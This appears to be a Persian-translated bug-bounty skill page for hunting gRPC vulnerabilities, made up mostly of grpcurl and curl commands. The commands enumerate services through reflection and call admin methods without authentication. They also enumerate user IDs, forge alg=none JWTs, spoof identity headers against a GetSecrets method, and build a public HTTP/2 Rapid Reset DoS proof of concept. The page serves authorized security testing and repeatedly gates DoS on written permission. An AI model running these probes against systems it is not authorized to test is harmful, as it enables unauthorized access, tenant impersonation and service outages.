hunt-grpc

skillupstreamکلاس آسیب‌پذیریگزارش: ۶۱۷ کیلوبایت۱۲ بخش

شکار آسیب‌پذیری‌های gRPC — فعال‌بودن server reflection ‏(enumerate مربوط به همه‌ی سرویس‌ها/متدها)، auth مفقود / metadata-stripping روی endpointهای داخلی، gRPC متن‌باز روی HTTP/2، افشای endpoint داخلی، نشت فایل proto، و حملات gRPC-Web/grpc-gateway.

توضیح انگلیسی اصلی (مرجع)

Hunt gRPC vulnerabilities — server reflection enabled (enumerate all services/methods), missing authentication / metadata-stripping on internal endpoints, plaintext gRPC over HTTP/2, internal endpoint disclosure, proto file leakage, gRPC-Web/grpc-gateway transcoding injection, and HTTP/2 Rapid Reset DoS (CVE-2023-44487). Use when target exposes port 50051 / 443 / 8443 / 9090 with HTTP/2, when grpcurl/grpcui detects reflection, when an Envoy or grpc-gateway proxy is fronting a microservice, or when recon reveals a microservice architecture.

فلوی اجرای گام‌به‌گام

◆
hunt-grpcشروع اجرا
۱
‏تفکیک status-code، نه بایت‌شماری. پاسخ غیرخالی هنوز می‌تواند فریم خطا باشد. تأیید کن trailer مربوط به `grpc-status` برابر `0` ‏(OK) است. `Unauthenticated (16)` / `PermissionDenied (7)` یعنی auth کار می‌کند — کاندید را ببند. `Unimplemented (12)` یعنی متد اشتباه داری. با `grpcurl -v` دوباره بزن و trailerها را صریح بخوان.
۲
‏endpointهای reflection / health غالباً عمداً عمومی‌اند. قابل‌دسترس‌بودن `grpc.reflection.*` و `grpc.health.v1.Health` به‌خودی‌خود افشای اطلاعات است ‏(Low/Medium حداکثر) — خیلی از وندورها reflection را by design روشن می‌گذارند. آن را «auth مفقود» گزارش نکن مگر اینکه کاتالوگ سرویس غیرعمومی لو بدهد. یافته، آن سرویس *حساس* است که بعد بدون auth صدایش می‌زنی، با اثبات فاز ۳.
۳
‏«بدون auth» را از «auth برای همین متد لازم نیست» جدا کن. بعضی متدها ‏(health، خواندن کاتالوگ عمومی) به‌درستی ناشناس‌اند. باگ را با نشان‌دادن دلتای state بین authenticated-vs-unauthenticated اثبات کن: همان RPC داده‌ی خصوصی کاربر/tenant دیگری را بدون credential برمی‌گرداند، یا یک RPC مدیریتی تغییردهنده اجرا می‌شود ‏(state تغییرکرده را دوباره بخوان تا side-effect تأیید شود).
۴
‏قابلیت‌دسترسی proxy-در-برابر-backend. باگی که فقط با زدن `:50051` داخلیِ پیداشده از SSRF/port-scan قابل‌دسترس است واقعی است ولی شدتش به reachability بستگی دارد. صریح بنویس مهاجم بیرونی چطور به آن می‌رسد ‏(پورت افشاشده، egress مربوط به SSRF، passthrough مربوط به proxy). برای metadata-spoofing اثبات کن proxy *عمومی* هدر جعلی را فوروارد می‌کند — نه فقط پورت بک‌اند دورزده‌شده.
۵
‏‏OOB / Collaborator برای هر چیز کور. اگر RPC آرگومان URL/host می‌گیرد ‏(webhook، import، render)، کاندید SSRF است: آن را به payload مربوط به Burp Collaborator با subdomain یکتا بفرست و تعامل DNS+HTTP را قبل از ادعای SSRF تأیید کن. بدون تعامل = بدون SSRF. تحویل بده به hunt-ssrf.
۶
‏‏DoS مجوز-گیت‌شده و نسخه-قابل‌تأیید است. هرگز CVE-2023-44487 را از روی «کندی» بنچمارک submit نکن. یا ‏(الف) با بنر `server:` نسخه‌ی unpatched مربوط به استک HTTP/2 را version-match کن، یا ‏(ب) سیل reset را فقط زیر اجازه‌ی کتبی صریح با پنجره‌ی توافق‌شده نشان بده — بعد فوراً متوقف شو. پاسخ کند اثبات نیست.
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۶ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-grpcکلاس آسیب‌پذیری · ۱۲ بخش۱نمای کلی و کاربرد۲اهداف ارزشمند۳سطح حمله و سیگنال‌ها۴سطح حمله و سیگنال‌ها۵بخش تکمیلی۶تکنیک‌های Bypass۷بخش تکمیلی۸دروازه‌ی اعتبارسنجی۹بخش تکمیلی۱۰ابزار و نکات عملیاتی۱۱زنجیره‌ها و ترکیب‌ها۱۲دروازه‌ی اعتبارسنجی
نمای کلی و کاربرد · ۵اهداف ارزشمند · ۱سطح حمله و سیگنال‌ها · ۲تکنیک‌های Bypass · ۱دروازه‌ی اعتبارسنجی · ۲زنجیره‌ها و ترکیب‌ها · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

نمای کلی و کاربرد

Introduction
ترجمه‌ی کامل ✓بخش ۱ از ۱۲

توضیح کلی، دامنه‌ی پوشش و زمان به‌کارگیری اسکیل

‏اسکیل امنیت gRPC.

۲

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۲ از ۱۲

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏فعال‌بودن reflection مربوط به gRPC = enumerate مربوط به کاتالوگ کامل سرویس بدون کد منبع. باگ‌های باارزش‌ترین gRPC از فرض معماری «این سرویس داخلی است» می‌آیند — auth در edge proxy اعمال می‌شود و بک‌اند به هر callerای که به آن برسد اعتماد می‌کند. وقتی مستقیم به بک‌اند برسی ‏(پورت افشاشده، SSRF، دورزدن proxy)، آن اعتماد فرو می‌ریزد.

‏یافته‌های باارزش‌ترین:

  • ‏reflection فعال در production — grpc.reflection.v1alpha.ServerReflection / grpc.reflection.v1.ServerReflection هر متد، پیام و سرویس داخلی را لیست می‌کند. فعال‌کننده‌ی enumerate است، نه آسیب‌پذیری به‌تنهایی ‏(بخش Validation را ببین).
  • ‏auth مفقود روی سرویس داخلی — سرویس طراحی‌شده برای ترافیک east-west میکروسرویس‌ها که بیرون افشا شده بدون mTLS و بدون authorization مربوط به per-method ← متدهای privileged را مستقیم صدا بزن.
  • ‏‏edge-auth-only / metadata-stripping — proxy کاربر را احراز می‌کند ولی بک‌اند به هدرهای تزریق‌شده‌ی proxy دوباره اعتماد می‌کند ‏(x-user-id، x-tenant-id، `x-forwarded-*)؛ اگر به بک‌اند برسی یا بتوانی آن هدرها را از طریق proxy تزریق کنی، هر tenantای را impersonate می‌کنی.
  • ‏gRPC متن‌باز — gRPC مربوط به h2c ‏(HTTP/2 cleartext) روی پورت غیراستاندارد ← شنود credential/metadata.
  • ‏‏HTTP/2 Rapid Reset DoS ‏(CVE-2023-44487) — فریم‌های HEADERS + RST_STREAM فوریِ متناوب accounting مربوط به MAX_CONCURRENT_STREAMS را دور می‌زنند ← اتمام منابع. ‏DoS تقریباً در هیچ برنامه‌ای در اسکوپ نیست — قبل از فرستادن حتی یک burst، اجازه‌ی کتبی صریح بگیر.
۳

سطح حمله و سیگنال‌ها

Phase 1 — Fingerprint & Port Discovery
ترجمه‌ی کامل ✓بخش ۳ از ۱۲

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏فاز ۱ — fingerprint و کشف پورت:

# Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)
nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open

# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1
echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"

# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status
# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.
curl -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
  -H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status

# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type
curl -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
  -H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"

‏حضور trailer مربوط به grpc-status ← یک سرور gRPC ‏(یا grpc-gateway/Envoy) پشت آن پورت است. UNIMPLEMENTED روی مسیر تصادفی طبیعی است و فقط transport را تأیید می‌کند — یافته نیست.

۴

سطح حمله و سیگنال‌ها

Phase 2 — Service Enumeration via Reflection
ترجمه‌ی کامل ✓بخش ۴ از ۱۲

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏فاز ۲ — enumerate مربوط به سرویس از طریق reflection:

brew install grpcurl   # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS
grpcurl -plaintext $TARGET:50051 list
grpcurl -insecure  $TARGET:443   list

# Typical output when reflection is on:
#   grpc.reflection.v1.ServerReflection
#   grpc.health.v1.Health
#   user.UserService
#   admin.AdminService
#   payment.PaymentService

# List + describe every method of each service
grpcurl -plaintext $TARGET:50051 list admin.AdminService
grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest   # message schema

# Dump the whole catalog to triage interesting surfaces
for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
  echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
done | tee grpc-catalog.txt
grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt

‏reflection خاموش است؟ هنوز می‌توانی متدهای شناخته‌شده را اگر حدس بزنی صدا بزنی، یا descriptor set را از .proto لو‌رفته بازسازی کنی ‏(فاز ۵) و با grpcurl -protoset bundle.bin ... پاس بدهی. خاموش‌بودن reflection یک کنترل hardening است، نه مرز امنیتی.

۵

بخش تکمیلی

Phase 3 — Call Methods Without Authentication (authz testing)
ترجمه‌ی کامل ✓بخش ۵ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏فاز ۳ — صدازدن متدها بدون احراز هویت ‏(تست authz):

# Baseline: call a sensitive method with NO auth metadata
grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers

# IDOR across an enumerable id field
for ID in 1 2 3 100 1000 1001; do
  echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
    -d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
done

‏status code مربوط به gRPC را تفسیر کن، نه فقط اینکه بایت برگشته یا نه ‏(بخش Validation را ببین):

  • ‏OK + پاسخ پرشده ← متد بدون احراز اجرا شده ← یافته.
  • ‏Unauthenticated (16) / PermissionDenied (7) ← authz اعمال شده؛ یافته نیست.
  • ‏Unimplemented (12) ← مسیر اشتباه / متد روی این سرور نیست.
  • ‏InvalidArgument (3) ← به ورودی‌ات رسیده و parse کرده ← متد قابل‌صداست؛ payload را درست کن و دوباره بزن.
۶

تکنیک‌های Bypass

Phase 4 — Authentication / Trust-Boundary Bypass
ترجمه‌ی کامل ✓بخش ۶ از ۱۲

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

‏فاز ۴ — دورزدن احراز هویت / مرز اعتماد:

# (a) Forged bearer / alg=none JWT in the authorization metadata
grpcurl -plaintext $TARGET:50051 \
  -H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
  -d '{}' admin.AdminService/GetConfig

# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and
#     then trust identity injected as metadata. If the edge does not STRIP these,
#     spoofing them = full impersonation. Test every plausible name:
for H in "x-user-id: 1" "x-authenticated-user: admin" "x-tenant-id: 0" \
         "x-internal-request: true" "x-forwarded-for: 127.0.0.1" \
         "x-envoy-internal: true" "grpc-internal-encoding-request: true"; do
  echo "== $H =="
  grpcurl -plaintext $TARGET:50051 -H "$H" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3
done

# (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the
#     server; some auth middlewares only inspect text metadata, missing -bin keys.
grpcurl -plaintext $TARGET:50051 -H "auth-token-bin: $(printf admin|base64)" \
  -d '{}' admin.AdminService/GetConfig

‏باگ metadata-stripping ‏(ب) crown jewel مخصوص gRPC است: با فرستادن هدر جعلی مستقیم به پورت بک‌اند و جداگانه از طریق proxy عمومی تأییدش کن — اگر proxy مقدار x-user-id تو را بدون تغییر به بک‌اند فوروارد کند، برای کاربران واقعی هم قابل‌بهره‌برداری است، نه فقط روی پورت دورزده‌شده.

۷

بخش تکمیلی

Phase 5 — Proto File / Schema Discovery
ترجمه‌ی کامل ✓بخش ۷ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏فاز ۵ — کشف فایل proto / schema:

# Proxies (Envoy/grpc-gateway) sometimes serve descriptors or swagger
for P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do
  S=$(curl -s -o /dev/null -w '%{http_code}' "https://$TARGET/$P")
  [ "$S" != 404 ] && echo "Found: /$P ($S)"
done

# Source/registry leakage of .proto definitions
gh search code --owner "$TARGET_ORG" 'syntax = "proto3"' --limit 20 2>/dev/null
gh search code --owner "$TARGET_ORG" 'service ' filename:.proto --limit 20 2>/dev/null

# Rebuild a descriptor set from leaked protos and drive the API without reflection
protoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto
grpcurl -protoset bundle.bin -plaintext $TARGET:50051 list

‏نشت proto به‌تنهایی شدت پایینی دارد؛ ارزشش در این است که کلیدِ بازکردن فازهای ۳–۴ علیه تارگتِ reflection-off است.

۸

دروازه‌ی اعتبارسنجی

Phase 6 — gRPC-Web / grpc-gateway / JSON-Transcoding Attacks
ترجمه‌ی کامل ✓بخش ۸ از ۱۲

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏فاز ۶ — حملات gRPC-Web / grpc-gateway / JSON-transcoding:

‏gRPC تقریباً همیشه از طریق یک transcoder به مرورگر می‌رسد: Envoy grpc_web/grpc_json_transcoder، grpc-gateway ‏(REST↔gRPC)، یا Connect. این مترجم‌ها سطح حمله‌ی بیرونی واقعی‌اند و غالباً متدهای داخلی را دوباره افشا می‌کنند.

# (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often
#     map predictably — hit them over plain HTTP/JSON (no gRPC client needed):
curl -s -X POST "https://$TARGET/v1/admin/users:list" -H 'content-type: application/json' -d '{}'
curl -s -X POST "https://$TARGET/admin.AdminService/ListUsers" \
  -H 'content-type: application/json' -d '{}'    # default unannotated route

# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.
#     Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.
#     Encode the message with protoscope so the bytes are correct:
#       protoscope -s <<<'1: 1'  > msg.bin          # field 1 (e.g. user_id) = 1
MSG=$(xxd -p msg.bin | tr -d '\n')
LEN=$(printf '%08x' $((${#MSG}/2)))                 # 4-byte length prefix
FRAME=$(printf '00%s%s' "$LEN" "$MSG")
echo "$FRAME" | xxd -r -p > frame.bin
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \
  --data-binary @frame.bin | xxd | head

# (c) grpc-web+json variant (Envoy/Connect) — no manual framing needed:
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+json' -H 'x-grpc-web: 1' \
  -d '{"user_id": 1}'

# (d) Connect protocol (buf): plain JSON POST, unary, no framing:
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/json' -H 'connect-protocol-version: 1' \
  -d '{"user_id": 1}'

‏چرا مهم است: transcoder روبه‌مرورگر معمولاً به همان بک‌اندی فوروارد می‌کند که صفحه‌ی gRPC داخلی دارد. اگر مسیر transcoder AdminService را افشا کند یا authای که کلاینت gRPC می‌فرستاد را الزام نکند، یک باگ authz واقعی و بیرونی-قابل‌دسترس داری. تأیید کن هر مسیر transcoded با داده‌ی حساس OK برمی‌گرداند، و بررسی کن به‌عنوان کاربر unauthenticated/low-priv قابل‌دسترس است ‏(نه فقط از داخل mesh).

۹

بخش تکمیلی

Phase 7 — HTTP/2 Rapid Reset DoS (CVE-2023-44487)
ترجمه‌ی کامل ✓بخش ۹ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏دروازه‌ی مجوز: DoS در اکثریت قاطع برنامه‌ها خارج از اسکوپ است. بدون اجازه‌ی کتبی، صریح و اسکوپ‌شده و پنجره‌ای که مالک برنامه توافق کرده اجرایش نکن. اگر شک داری به بخش Validation برو.

‏حمله تست بار نیست. استریم‌ها را باز می‌کند ‏(HEADERS) و بلافاصله قبل از اتمام کار سرور آن‌ها را کنسل می‌کند ‏(RST_STREAM)، پس هر استریم کنسل‌شده فوراً یک اسلات MAX_CONCURRENT_STREAMS آزاد می‌کند درحالی‌که سرور هنوز روی آن کار می‌کند — کلاینت خیلی جلوتر از سقف concurrency مسابقه می‌دهد. h2load/ghz بنچمارکر throughput هستند؛ هیچ حالت rapid-reset ندارند و هرگز HEADERS+RST_STREAM فوری را interleave نمی‌کنند، پس نمی‌توانند این را تست کنند.

‏ابزار درست — PoCهای تأییدشده‌ی نویسنده که واقعاً الگوی فریم را تولید می‌کنند:

# CERT/CC + community tracking and PoCs for CVE-2023-44487:
#   https://kb.cert.org/vuls/id/421644
#   https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/  (Cloudflare writeup)
# Go PoC that sends HEADERS then immediate RST_STREAM in a tight loop:
git clone https://github.com/secengjeff/rapidresetclient
cd rapidresetclient && go build -o rapidreset .
# Detection-only: a SHORT, low-count burst, with permission, then STOP:
./rapidreset --help    # confirm current flags first, then a SMALL authorized burst, e.g.:
# ./rapidreset -url https://$TARGET:443 -concurrency 1 -requests 20

# If you must roll your own, use the h2 framing layer (golang.org/x/net/http2)
# to write a HEADERS frame immediately followed by RST_STREAM(CANCEL) per stream id.

‏تشخیص بدون DoS — این را ترجیح بده: تنها چیزی که باید اثبات کنی این است که آیا mitigationها هستند یا نه. بنر/نسخه‌ی سرور را چک کن و اینکه آیا سیل reset را track می‌کند:

# Fingerprint the HTTP/2 implementation and version (patched versions are known):
curl -sI --http2 https://$TARGET/ | grep -i '^server:'
# nghttp2 >=1.57.0, Go net/http with the 2023-10 fix, Envoy >=1.27.1/1.26.5/1.25.10/1.24.11,
# grpc-go >=1.56.3/1.57.1/1.58.3 are mitigated. Version-match instead of flooding.

‏شکاف mitigation تأییدشده-با-نسخه را گزارش کن، نه کندی بنچمارک. «سرور زیر بار کند شد» اثبات CVE-2023-44487 نیست — روی سرورهای کند/کم‌منبع false-positive و روی سرورهای patch‌شده که resetها را graceful throttle می‌کنند false-negative می‌دهد.

۱۰

ابزار و نکات عملیاتی

Tools
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۲

ابزارهای کمکی، نصب، خروجی‌های مورد انتظار و یادداشت‌های اپراتور

‏ابزارهای gRPC — grpcurl، grpcui، nuclei و پروب‌های h2c:

grpcurl   # primary CLI client (list/describe/call, -protoset for reflection-off)
grpcui    # web UI for interactive exploration:  grpcui -plaintext $TARGET:50051
protoc + protoscope   # build/inspect raw protobuf and gRPC-Web frames (Phase 6)
buf       # lint/inspect proto, drive Connect endpoints
# DoS-only, AUTHORIZED engagements: secengjeff/rapidresetclient (true rapid-reset PoC).
#   NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not
#   use them to "prove" CVE-2023-44487.
۱۱

زنجیره‌ها و ترکیب‌ها

Chain Table
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۲

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

یافته‌ی gRPCزنجیره بهاثر
reflection فعالenumerate مربوط به همه‌ی متدها + پیام‌های سرویس داخلیافشای کامل کاتالوگ API ‏(فعال‌کننده)
متد admin بدون authصدازدن RPCهای privileged ‏(DeleteUser، GetConfig)دست‌کاری داده / دسترسی سیستم — بحرانی
proxy هدر x-user-id/x-tenant-id را unstripped فوروارد می‌کندجعل metadata هویت ← impersonation بین-tenantدورزدن ایزولیشن tenant — بحرانی
‏IDOR از طریق فیلد id قابل-enumerateiterate مربوط به user_id روی GetUserاستخراج انبوه PII — High
مسیر grpc-gateway / gRPC-Web RPC داخلی را دوباره افشا می‌کندزدن مسیر REST/JSON مربوط به transcoded بدون authدورزدن authz بیرونی-قابل‌دسترس — High/Critical
‏h2c متن‌باز روی پورت داخلی‏MITM / شنود metadata ‏(توکن‌های bearer)ربودن credential — High
نشت .proto ‏(repo/swagger)-protoset برای هدایت تارگت reflection-offبازکردن فازهای ۳–۴ — Low تنها، High به‌عنوان فعال‌کننده

‏اسکیل‌های مرتبط: hunt-idor ‏(منطق enumerate مربوط به id)، hunt-api-misconfig ‏(JWT alg=none / mass-assignment در پیام‌های request)، hunt-auth-bypass ‏(مرز اعتماد edge-vs-backend)، hunt-tls-network ‏(h2c/plaintext + ALPN)، cloud-iam-deep ‏(اگر RPC صداشده credential ابری برگرداند).

۱۲

دروازه‌ی اعتبارسنجی

Validation — false-positive discipline
ترجمه‌ی کامل ✓بخش ۱۲ از ۱۲

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏حالت‌های شکست gRPC برای grep ساده شبیه موفقیت به‌نظر می‌رسند. این گییت‌ها را قبل از هر submission اعمال کن.

  1. ‏تفکیک status-code، نه بایت‌شماری. پاسخ غیرخالی هنوز می‌تواند فریم خطا باشد. تأیید کن trailer مربوط به grpc-status برابر 0 ‏(OK) است. Unauthenticated (16) / PermissionDenied (7) یعنی auth کار می‌کند — کاندید را ببند. Unimplemented (12) یعنی متد اشتباه داری. با grpcurl -v دوباره بزن و trailerها را صریح بخوان.
  1. ‏endpointهای reflection / health غالباً عمداً عمومی‌اند. قابل‌دسترس‌بودن grpc.reflection.* و grpc.health.v1.Health به‌خودی‌خود افشای اطلاعات است ‏(Low/Medium حداکثر) — خیلی از وندورها reflection را by design روشن می‌گذارند. آن را «auth مفقود» گزارش نکن مگر اینکه کاتالوگ سرویس غیرعمومی لو بدهد. یافته، آن سرویس حساس است که بعد بدون auth صدایش می‌زنی، با اثبات فاز ۳.
  1. ‏«بدون auth» را از «auth برای همین متد لازم نیست» جدا کن. بعضی متدها ‏(health، خواندن کاتالوگ عمومی) به‌درستی ناشناس‌اند. باگ را با نشان‌دادن دلتای state بین authenticated-vs-unauthenticated اثبات کن: همان RPC داده‌ی خصوصی کاربر/tenant دیگری را بدون credential برمی‌گرداند، یا یک RPC مدیریتی تغییردهنده اجرا می‌شود ‏(state تغییرکرده را دوباره بخوان تا side-effect تأیید شود).
  1. ‏قابلیت‌دسترسی proxy-در-برابر-backend. باگی که فقط با زدن :50051 داخلیِ پیداشده از SSRF/port-scan قابل‌دسترس است واقعی است ولی شدتش به reachability بستگی دارد. صریح بنویس مهاجم بیرونی چطور به آن می‌رسد ‏(پورت افشاشده، egress مربوط به SSRF، passthrough مربوط به proxy). برای metadata-spoofing اثبات کن proxy عمومی هدر جعلی را فوروارد می‌کند — نه فقط پورت بک‌اند دورزده‌شده.
  1. ‏‏OOB / Collaborator برای هر چیز کور. اگر RPC آرگومان URL/host می‌گیرد ‏(webhook، import، render)، کاندید SSRF است: آن را به payload مربوط به Burp Collaborator با subdomain یکتا بفرست و تعامل DNS+HTTP را قبل از ادعای SSRF تأیید کن. بدون تعامل = بدون SSRF. تحویل بده به hunt-ssrf.
  1. ‏‏DoS مجوز-گیت‌شده و نسخه-قابل‌تأیید است. هرگز CVE-2023-44487 را از روی «کندی» بنچمارک submit نکن. یا ‏(الف) با بنر server: نسخه‌ی unpatched مربوط به استک HTTP/2 را version-match کن، یا ‏(ب) سیل reset را فقط زیر اجازه‌ی کتبی صریح با پنجره‌ی توافق‌شده نشان بده — بعد فوراً متوقف شو. پاسخ کند اثبات نیست.

‏راهنمای شدت ‏(بعد از پاس‌شدن گیت‌های بالا):

  • ‏RPC حساس/ادمین بدون auth قابل‌صدا + side-effect اثبات‌شده ← بحرانی
  • ‏metadata-spoofing فورواردشده‌ی proxy ← impersonation بین-tenant ← بحرانی
  • ‏‏IDOR / PII انبوه از طریق RPC قابل-enumerate ← High
  • ‏سرویس داخلی بیرونی-قابل‌دسترس ‏(transcoder یا پورت باز) ← High
  • ‏‏h2c متن‌بازِ لو‌دهنده‌ی metadata مربوط به bearer ← High
  • ‏reflection فعالِ افشاکننده‌ی کاتالوگ غیرعمومی ← Medium ‏(فعال‌کننده)
  • ‏نشت proto/descriptor بدون متد حساس قابل‌صدا ← Low
مراحل استخراج‌شده
  1. ۱‏تفکیک status-code، نه بایت‌شماری. پاسخ غیرخالی هنوز می‌تواند فریم خطا باشد. تأیید کن trailer مربوط به `grpc-status` برابر `0` ‏(OK) است. `Unauthenticated (16)` / `PermissionDenied (7)` یعنی auth کار می‌کند — کاندید را ببند. `Unimplemented (12)` یعنی متد اشتباه داری. با `grpcurl -v` دوباره بزن و trailerها را صریح بخوان.
  2. ۲‏endpointهای reflection / health غالباً عمداً عمومی‌اند. قابل‌دسترس‌بودن `grpc.reflection.*` و `grpc.health.v1.Health` به‌خودی‌خود افشای اطلاعات است ‏(Low/Medium حداکثر) — خیلی از وندورها reflection را by design روشن می‌گذارند. آن را «auth مفقود» گزارش نکن مگر اینکه کاتالوگ سرویس غیرعمومی لو بدهد. یافته، آن سرویس *حساس* است که بعد بدون auth صدایش می‌زنی، با اثبات فاز ۳.
  3. ۳‏«بدون auth» را از «auth برای همین متد لازم نیست» جدا کن. بعضی متدها ‏(health، خواندن کاتالوگ عمومی) به‌درستی ناشناس‌اند. باگ را با نشان‌دادن دلتای state بین authenticated-vs-unauthenticated اثبات کن: همان RPC داده‌ی خصوصی کاربر/tenant دیگری را بدون credential برمی‌گرداند، یا یک RPC مدیریتی تغییردهنده اجرا می‌شود ‏(state تغییرکرده را دوباره بخوان تا side-effect تأیید شود).
  4. ۴‏قابلیت‌دسترسی proxy-در-برابر-backend. باگی که فقط با زدن `:50051` داخلیِ پیداشده از SSRF/port-scan قابل‌دسترس است واقعی است ولی شدتش به reachability بستگی دارد. صریح بنویس مهاجم بیرونی چطور به آن می‌رسد ‏(پورت افشاشده، egress مربوط به SSRF، passthrough مربوط به proxy). برای metadata-spoofing اثبات کن proxy *عمومی* هدر جعلی را فوروارد می‌کند — نه فقط پورت بک‌اند دورزده‌شده.
  5. ۵‏‏OOB / Collaborator برای هر چیز کور. اگر RPC آرگومان URL/host می‌گیرد ‏(webhook، import، render)، کاندید SSRF است: آن را به payload مربوط به Burp Collaborator با subdomain یکتا بفرست و تعامل DNS+HTTP را قبل از ادعای SSRF تأیید کن. بدون تعامل = بدون SSRF. تحویل بده به hunt-ssrf.
  6. ۶‏‏DoS مجوز-گیت‌شده و نسخه-قابل‌تأیید است. هرگز CVE-2023-44487 را از روی «کندی» بنچمارک submit نکن. یا ‏(الف) با بنر `server:` نسخه‌ی unpatched مربوط به استک HTTP/2 را version-match کن، یا ‏(ب) سیل reset را فقط زیر اجازه‌ی کتبی صریح با پنجره‌ی توافق‌شده نشان بده — بعد فوراً متوقف شو. پاسخ کند اثبات نیست.
  7. ۷‏RPC حساس/ادمین بدون auth قابل‌صدا + side-effect اثبات‌شده ← بحرانی
  8. ۸‏metadata-spoofing فورواردشده‌ی proxy ← impersonation بین-tenant ← بحرانی
  9. ۹‏‏IDOR / PII انبوه از طریق RPC قابل-enumerate ← High
  10. ۱۰‏سرویس داخلی بیرونی-قابل‌دسترس ‏(transcoder یا پورت باز) ← High
  11. ۱۱‏‏h2c متن‌بازِ لو‌دهنده‌ی metadata مربوط به bearer ← High
  12. ۱۲‏reflection فعالِ افشاکننده‌ی کاتالوگ غیرعمومی ← Medium ‏(فعال‌کننده)
  13. ۱۳‏نشت proto/descriptor بدون متد حساس قابل‌صدا ← Low
اسکیل‌های مرتبط: